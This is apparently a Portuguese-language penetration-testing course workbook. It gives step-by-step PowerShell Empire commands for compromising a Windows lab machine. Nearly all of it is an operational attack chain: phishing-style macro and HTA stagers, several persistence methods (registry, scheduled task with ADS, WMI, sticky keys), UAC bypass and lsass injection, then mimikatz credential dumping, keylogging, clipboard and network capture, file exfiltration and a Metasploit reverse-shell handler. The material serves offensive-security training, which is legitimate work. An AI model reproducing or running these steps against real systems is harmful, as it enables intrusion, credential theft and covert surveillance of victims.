• Modifique a declaração Sub Documento_Open para Sub Auto_Open.
• O resultado final deverá ser algo similar a imagem apresentada a seguir.
Exploração
Client side attack - Macro
7 – Salve o documento como um nome “chamativo” como Cargos_Salarios_2015, selecionando o tipo do arquivo como “Excel 97-2003 
Workbook(*.xls)”.
8– Incremente o conteúdo do arquivo e *envie para o alvo.
* No seu caso bastará copiar o arquivo gerado para o DESKTOP do usuário Aluno na sua máquina virtual com o 
Microsoft Windows 7 que será explorada durante os exercícios. Em uma condição real o usuário alvo poderá receber
o arquivo por e-mail, através de um link de download ou através de uma acesso a um compartilhamento de rede
existente.
Exploração
Client side attack - Macro
9 – Abrir o arquivo gerado no alvo com o usuário Aluno. Clicar no botão “Enable Content” ativando
o macro. Neste instante o computador alvo será comprometido.
• Se tudo der certo você receberá uma mensagem no Empire como:
• [+] Initial agent 1DU2TFB32SBVRBRN from 192.168.133.141 now active
10– Verificar as informações do agente
• (Empire: stager/macro) > agents
11– Interagir com o agente.
• (Empire: agents) > interact <name>
• Exemplo: (Empire: agents) > interact ULVXEXAHYKSFBD4H
12– Renomear o agente para facilitar a interação.
• (Empire: ULVXEXAHYKSFBD4H) > rename pwned01
Exploração
Client side attack – HTA file
Objetivo: Realizar a exploração do alvo através de um ataque client side utilizando um arquivo HTA.
1– Criar um arquivo HTA.
(Empire: pwned01) > listeners
(Empire: listeners) > usestager windows/hta PhishingCampaign
2– Verificar as configurações do stager de hta.
(Empire: stager/hta) > info
3– Gerar o arquivo hta.
(Empire: stager/hta) > set OutFile /tmp/relatorio.hta
(Empire: stager/hta) > execute
Se tudo der certo, será gerado um arquivo macro no /tmp.
[*] Stager output written out to: /tmp/relatorio.hta
4– Verifique o conteúdo do arquivo /tmp/relatorio.hta.
Abra uma outra janela de terminal e visualize o conteúdo do arquivo executando o comando:
• cat /tmp/relatorio.hta
Exploração
Client side attack – HTA file
5 – Disponibilize o acesso ao arquivo HTA através de um servidor WEB 
(Criaremos um servidor WEB local para dar a continuidade no exercício)
Abra uma nova janela do terminal e nesta nova janela digite os comandos a seguir:
cd /tmp
python -m SimpleHTTPServer 8080
Agora você possui um WebServer funcionando na porta 8080.
6 – Utilizando o usuário Aluno, abra o internet explorer e acesse o arquivo relatório.hta através do endereço do
WebServer criado http://192.168.16.10:8080/relatorio.hta.
7 – Na caixa de diálogo que será exibida informe que você deseja abrir o arquivo relatório.hta e clique em seguida no
botão permitir da caixa de segurança do Internet Explorer.
Se tudo der certo você receberá uma mensagem no Empire como:
[+] Initial agent GDFNGHKX13PT4T4W from 192.168.133.141 now active
Exploração
Client side attack – HTA file
8 – Interagir com o agente. (Empire: stager/macro) > agents (Empire: agents) > interact <name>
• Exemplo: (Empire: agents) > interact GDFNGHKX13PT4T4W
9– Renomear o agente para facilitar a interação.
• (Empire: GDFNGHKX13PT4T4W) > rename pwned02
Consciência Situacional
Sem privilégios administrativos
• Objetivo: Obter a consciência situacional para realizar ações mais efetivas no alvo.
1–Obter informações do computador alvo.
(Empire: pwned02) > info (Empire: pwned02) > sysinfo
(Empire: pwned02) > usemodule situational_awareness/host/winenum (Empire:
situational_awareness/host/winenum) > execute
(Empire: situational_awareness/host/winenum) > back
2 – Preencher a tabela a seguir com as informações obtidas. Anotar outras informações que entenda ser importante para o processo de 
exploração e refletir em como as informações obtidas podem ser utilizadas contra o alvo.
hostname IP
Interno
IP
Externo
DNS
Primário
DNS
Secundário
Sistema 
Operacional
Antivírus
Persistência
Sem privilégios administrativos
• Objetivo: Criar uma estrutura para manter a conexão permanente com o alvo.
1– Criar persistência para que o computador alvo se conecte ao EMPIRE sempre que for reiniciado.
(Empire: pwned02) > usemodule persistence/userland/registry
(Empire: persistence/userland/registry) > set Listener PhishingCampaign (Empire:
persistence/userland/registry) > execute
(Empire: persistence/userland/registry) > back
2 – Criar persistência para que o computador alvo se conecte de 15 em 15 minutos ao EMPIRE sempre que uma sessão for encerrada, 
escondendo o script em um ADS (Alternet Data Stream).
(Empire: pwned02) > usemodule persistence/userland/schtasks
(Empire: persistence/userland/schtasks) > set Listener PhishingCampaign
(Empire: persistence/userland/schtasks) > set IdleTime 15
(Empire: persistence/userland/schtasks) > set ADSPath C:\Users\Aluno\AppData\Local\Microsoft\Windows\Appdata:script.txt
(Empire: persistence/userland/schtasks) > execute (Empire:
persistence/userland/schtasks) > back
3 – Reinicie o computador alvo e realize o logon com o usuário Aluno. Verifique se uma nova conexão foi gerada com o EMPIRE após o logon.
Escalação de Privilégio
Objetivo: Obter um privilégio de SYSTEM para manter o controle total do alvo.
1– Interagir com o novo agente gerado, após reiniciar o computador alvo para testar a persistência.
(Empire: stager/macro) > agents (Empire: agents) > interact <name>
Exemplo: (Empire: agents) > interact ULVXEXAHYKSFBD4H
2– Renomear o agente para facilitar a interação.
(Empire: ULVXEXAHYKSFBD4H) > rename pwned02new
3– Analisar possibilidades de escalação de privilégio
(Empire: pwned02new) > usemodule privesc/powerup/allchecks (Empire: privesc/powerup/allchecks) >
execute
Você receberá um alerta para usar o módulo bypassuac. [*] Run a BypassUAC attack to elevate
privileges to admin.
(Empire: privesc/powerup/allchecks) > back
Escalação de Privilégio
4– Executar o módulo bypassuac em seu agente.
(Empire: pwned02new) > bypassuac PhishingCampaign pwned02new
Será criado um novo agente com a proteção de UAC (User Account Control) do Windows desativada.
5– Listar os agentes existentes.
(Empire: pwned02new) > list agents
Note que ao lado do Username existe um “*” no novo agente, representando um processo de integridade alta para esta
sessão.
6– Interagir com o novo agente criado.
(Empire: pwned02new) > agents
(Empire: agents) > interact <nome do agente>
Exemplo: (Empire: agents) > interact H1ZEPFHMBC3SUH1L
(Empire: H1ZEPFHMBC3SUH1L) > rename pwned02newbypassuac
Escalação de Privilégio
7– Migrar para um processo de sistema privilegiado. Localizar o processo lsass.exe.
(Empire: pwned02newbypassuac) > ps
8 – Realizar o Injection no ID do processo correspondente ao lsass.exe. (Empire:
pwned02new bypassuac) > psinject pwned <id do processo lsass.exe> Exemplo: (Empire:
pwned02new bypassuac) > psinject PhishingCampaign 556 (Empire: management/psinject) >
info
(Empire: management/psinject) > execute
Caso você tenha problema, pode roubar um token de SYSTEM para obter o privilégio de SISTEMA. 
(Empire: pwned02new bypassuac) > steal_token 516 (onde 516 é o PID do processo lsass.exe)
Caso nenhuma das recomendações funcione, utilize o comando getsystem do EMPIRE a partir da versão 1.5.
Escalação de Privilégio
• 9 – Será criada uma nova sessão com privilégio de SYSTEM. Interagir e renomear a sessão.
(Empire: management/psinject) > agents
Note que o usuário da nova sessão é o SYSTEM.
(Empire: agents) > interact <name>
Exemplo: (Empire: agents) > interact MF12TPUBXHUPFU2G (Empire:
MF12TPUBXHUPFU2G) > rename pwned02newsystem
• Agora você possui acesso a uma sessão com controle total do computador alvo.
Persistência
Privilegiada
Objetivo: Criar uma estrutura para manter a conexão permanente com o alvo mantendo as permissões privilegiadas 
obtidas.
1– Ativar o acesso remote desktop no alvo.
(Empire: pwned02newsystem) > usemodule management/enable_rdp (Empire:
management/enable_rdp) > execute
(Empire: management/enable_rdp) > back
2– Ativar o acesso privilegiado através de Stick Keys.
(Empire: pwned02newsystem) > usemodule persistence/misc/debugger (Empire:
persistence/debugger/sethc) > execute
(Empire: persistence/debugger/sethc) > back
3 - Acessar o computador alvo através RDP. Na tela de login pressionar a tecla SHIFT 5 vezes para exibiro shell do Windows com acesso 
privilegiado de SYSTEM.
No shell (terminal) do Linux. rdesktop 192.168.133.144
Pressionar a tecla SHIFT 5 vezes após abrir a conexão através de RDP com o computador alvo.
Persistência
Privilegiada
4– Ativar persistência através de WMI.
(Empire: pwned02newsystem) > usemodule persistence/elevated/wmi (Empire:
persistence/elevated/wmi) > set Listener PhishingCampaignexecute
(Empire: persistence/elevated/wmi) > execute (Empire:
persistence/elevated/wmi) > back
5 – Reiniciar o computador alvo e observer se após 5 minutos que o computador alvo for iniciado será aberta uma nova
sessão com privilégios de SYSTEM. NÃO É NECESSÁRIO LOGAR NO COMPUTADOR ALVO.
6- Interagir e renomear a sessão.
(Empire: management/psinject) > agents
Note que o usuário da nova sessão é o SYSTEM.
(Empire: agents) > interact <name>
Exemplo: (Empire: agents) > interact 3SDVCSWUC2FEEZ4A (Empire:
3SDVCSWUC2FEEZ4A) > rename pwned02psystem
Agora você possui duas persistências discretas e permanentes no computador alvo.
Consciência Situacional
Privilegiada
Objetivo: Obter a consciência situacional privilegiada para realizar ações mais efetivas no alvo.
1–Obter informações do computador alvo.
(Empire: pwned02psystem) > usemodule situational_awareness/host/winenum
(Empire: situational_awareness/host/winenum) > execute
(Empire: situational_awareness/host/winenum) > back
Qual a diferença para o winenum executado sem o privilégio administrativo?
2– Explore outras funções do módulo de consciência situacional e obtenha informações que sejam úteis para a
sua exploração.
Exfiltration
Senhas
Objetivo: Obter as senhas e representações de senhas (hash) utilizados no computador alvo. As senhas poderão ser 
utilizadas para o processo de movimentação lateral.
1 - Interagir com o agente pwned02psystem e confirmar se o processo que você está utilizando no agente é o lsass.exe
(Empire: pwned02psystem) > sysinfo
Caso não seja, crie uma nova sessão que utilize o processo lsass.exe com os privilégios de SYSTEM.
Localizar o processo lsass.exe
(Empire: pwned02psystem) > ps
Realizar o Injection no ID do processo correspondente ao lsass.exe
(Empire: pwned02p_ system) > psinject pwned <id do processo lsass.exe>
Exemplo: (Empire: pwned02p_ system) > psinject pwned 526
(Empire: management/psinject) > info (Empire: management/psinject) >
execute
Interagir com o agente criado e voltar ao passso 1.
Exfiltration
Senhas
2– Obter as senhas em cleartext e as representações das senhas (hashes) expostas em memória através do mimikatz.
(Empire: credentials/mimikatz/lsadump) > usemodule credentials/mimikatz/logonpasswords (Empire:
credentials/mimikatz/logonpasswords) > execute
(Empire: credentials/mimikatz/logonpasswords) > back
Caso não funcione será necessário realizar o downgrade do wcdigest e bloquear a tela do computador alvo se o mesmo utilizar o Microsoft
Windows 8.1 ou reiniciar o computador alvo se o mesmo utilizar o Windows 10.
(Empire: credentials/mimikatz/lsadump) > usemodule management/wdigest_downgrade
(Empire: management/wdigest_downgrade) > execute (Empire:
management/wdigest_downgrade) > back
Bloqueie a estação de trabalho do usuári com usemodule management/lock
Repetir o passo 2 após o usuário alvo desbloquear a tela ou logar no computador alvo.
3– Obter as representações das senhas (hashes) expostas em memória através do lsadump.
(Empire: pwned02psystem) > usemodule credentials/mimikatz/lsadump (Empire:
credentials/mimikatz/lsadump) > execute
(Empire: credentials/mimikatz/lsadump) > back
Exfiltration
Senhas
4 – Obter as senhas em cleartext do Vault do Windows (senhas armazenadas no Internet
Explorer, Outlook e outros programas clientes).
(Empire: pwned02psystem) > usemodule
credentials/vault_credential (Empire:
credentials/vault_credential) > execute
(Empire: credentials/vault_credential) > back
5– Verifque as credenciais obtidas.
(Empire: pwned02psystem) > creds
Exfiltration
Monitoramento
Objetivo: Monitorar o computador alvo para identificar informações valiosas e informações que poderão ser utilizadas em
outras fases do ataque.
1 – Migre o seu processo para o processo do contexto do usuário (explorer.exe) que será monitorado.
Localizar o processo explorer.exe
(Empire: pwned02psystem) > ps
Realizar o Injection no ID do processo explorer.exe.
(Empire: pwned01_new_ bypassuac) > psinject pwned <id do processo explorer.exe>
Exemplo: (Empire: pwned01_new_ bypassuac) > psinject pwned 560
(Empire: management/psinject) > info
(Empire: management/psinject) > execute
Interagir com o novo agente criado.
(Empire: management/psinject) > agents (Empire: agents) > interact
VRPEXXLABDNUR13N
(Empire: VRPEXXLABDNUR13N) > rename pwned02explorer
Exfiltration
Monitoramento
2– Ativar o Keylogger.
(Empire: pwned02explorer) > usemodule collection/keylogger (Empire:
collection/keylogger) > execute
Abrir o bloco de notas no computador alvo e digitar algo para confirmar o funcionamento do keylogger.
3– Ativar o monitoramento da área de transferência.
(Empire: collection/keylogger) > usemodule collection/clipboard_monitor (Empire:
collection/clipboard_monitor) >execute
Selecionar (CTR+A) e copiar (CTR+C) o conteúdo do texto digitado no bloco de dados para confirmar o funcionamento do 
clipboard_monitor.
Exfiltration
Monitoramento
4– Realizar um Screenshot do computador alvo.
(Empire: collection/clipboard_monitor) > usemodule collection/screenshot (Empire:
collection/screenshot) > execute
O screenshoot será salvo em um caminho similar ao demonstrado a seguir.
Output saved to ./downloads/pwned03explorer/screenshot/2015-10-14_14-36-29.png
Visualizar a imagem salva.
5– Realizar o monitoramento das conexões de rede local do computador alvo.
(Empire: collection/screenshot) > usemodule collection/netripper
(Empire: collection/netripper) > info
(Empire: collection/netripper) > set ProcessID 2128
Deverá ser utilizado o ProcessID do explorer.exe, o mesmo utilizado na etapa 1 deste exercício.
(Empire: collection/netripper) > execute
Acesse algum site que precisa de senha, ou algum aplicativo que solicita senha através do uso de rede e confirme se a 
captura é realizada.
Exfiltration
Arquivos
Objetivo: Identificar e copiar arquivos sensíveis e críticos do computador alvo.
1 – Criar arquivo texto com o nome Confidencial no desktop do usuário do computador alvo. Abrir o arquivo e digitar a 
palavra senha. Salvar e fechar o arquivo.
2– Realizar busca através de palavra chave.
(Empire: collection/netripper) > usemodule collection/file_finder (Empire:
collection/file_finder) > info
(Empire: collection/file_finder) > set Terms senha (Empire:
collection/file_finder) > execute
Será exibido o caminho do arquivo encontrado.
Exfiltration
Arquivos
3 – Realizar download do arquivo identificado no computador alvo.
(Empire: collection/file_finder) > agents (Empire: agents) > interact
pwned02explorer
(Empire: pwned02explorer) > download C:/Users/Aluno/Desktop/confidencial.txt
[+] Part of file confidencial.txt.txt from pwned03explorer saved [+] Part of file
confidencial.txt.txt from pwned03explorer saved [+] Part of file confidencial.txt.txt from
pwned03explorer saved
[*] File download of C:\Users\Aluno\Desktop\confidencial.txt.txt completed
Se tudo deu certo, o arquivo será salvo em um caminho similar ao apresentado a seguir.
/downloads/pwned03explorer/C:/Users/Aluno/Desktop/confidencial.txt
Visualize o conteúdo do arquivo abrindo um novo shell (terminal) e digitando o comando apresentado a seguir. cat
/downloads/pwned03explorer/C:/Users/Aluno/Desktop/confidencial.txt
Integrando com o Metasploit
1– Prepare o multi/handler no metasploit
msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https msf exploit(handler) > set 
LHOST 10.0.0.200 (IP DO SEU KALI)
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set exitonsession false msf exploit(handler) > exploit -j –z
2– Realizar o injection .
(Empire: listeners) > injectshellcode

Outros materiais